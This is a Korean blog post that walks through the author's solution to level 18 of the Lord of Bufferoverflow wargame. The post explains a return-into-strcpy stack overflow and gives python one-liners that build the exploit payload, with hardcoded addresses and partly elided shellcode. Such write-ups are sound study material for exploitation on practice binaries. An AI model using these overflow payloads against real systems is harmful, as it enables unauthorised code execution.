ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • |Lord Of Bufferoverflow| #18 succubus - nightmare
    Wargame Site/BOF 2019. 7. 9. 17:30

     

     

     

    Write Up 을 보지않고 해결하는 것을 좋아하는 성격 탓에 몇 일 동안 끙끙 거린 뒤,

    드디어 풀이를 올린다...

     

     

    우선 id 와 권한을 확인한다.

     

     

    천천히 코드를 해석해보면 strcpy 의 주소가 필요하다는 것을 알 수 있다.

    그리고 strcpy 바로 다음의 값이 'AAAA' 이다.

    이 값은 strcpy 가 실행된 뒤 실행될 위치의 주소가 들어간다.

    strcpy 의 주소는 objdump 를 통해서 혹은 gdb -q ./nightmare 를 통해 간단히 확인할 수 있다.

     

     

     

    다음과 같이 strcpy 를 맞춰준 뒤, 다음과 같이 인자를 넘겨주었다.

     


    `python -c 'print "A"*44 + [ strcpy 주소 ] + "BBBB" + "CCCC" + "DDDD" + "EEEE" + [ shell code ]'`

     

     


     

    작전 세우기

     

     

    strcpy 의 인자 즉

    `python -c 'print "A"*44 + [ strcpy 주소 ] + "BBBB" + "CCCC" + "DDDD" + "EEEE" + [ shellcode ]'`

    다음 "CCCC" 영역과 "DDDD" 영역을 dest, src (주소값) 으로 바꿔주어야한다.

    우선 주소체계를 보도록하자.

    자 그럼, 작전을 어떻게 세워야할까?

    정상적으로 우선 strcpy 가 실행이 된 뒤, 0x41414141 로 EIP 가 이동될 것이다.

     

     

     

     

    핵심!! strcpy 를 통해서 다음 실행 위치 ('AAAA' 로 덮어씌여진 부분) 를 내가 원하는 대로 바꿔줄 수 있다.

    바꿔줄 곳은 \x6c\xfc\xff\xbf 이다.

    그리고 이곳은 다음 EIP 가 된다 ( shellcode 의 위치 > EEEE 부분 )

    따라서, Shellcode 의 위치를 가르키면 된다.

     


     

    `python -c 'print "A"*44 + [ strcpy 주소 ] + "BBBB" + "[   BBBB 의 주소  ]" 

    + "[  EEEE 의 주소  ]" + "EEEE" + [ shellcode ]'`

     

     

     

    strcpy 가 진행되면 EEEE 는 strcpy 다음으로 실행될 주소를 의미하게 된다.

     

    그렇기 때문에 EEEE 에는 shellcode 의 주소가 들어가면 된다.

     

     


    `python -c 'print "A"*44 + [ strcpy 주소 ] + "BBBB" + 

    "[ BBBB 의 주소 ]" + "[ EEEE 의 주소 ]" + [ "shellcode 의 주소 = CCCC 의 주소" ] + [ shellcode ]'`


     

    DDDD 의 주소를 넣어주어야한다는 것을 잘 이해해야한다.

    strcpy 를 통해 [EIP] + [shellcode] 가 이동하기 때문에 DDDD 의 주소를 넣어주어야 Shellcode 의 주소를 가르키게 된다.

     

     

     

    그렇다면 최종적으로 완성되는 바이너리값은


    `python -c 'print "A"*44 + "\x10\x84\x04\x08"+ "BBBB" + 

    "\x70\xfc\xff\xbf" + "\x7c\xfc\xff\xbf" + "\x74\xfc\xff\xbf" + 

    "\x31\xc0\...\xcd\x80"'`


     

     

    SHELL 을 땃다!!

     

     

     

     

     

    이제 한 문제 남았다 가즈아~

    댓글

Designed by Tistory.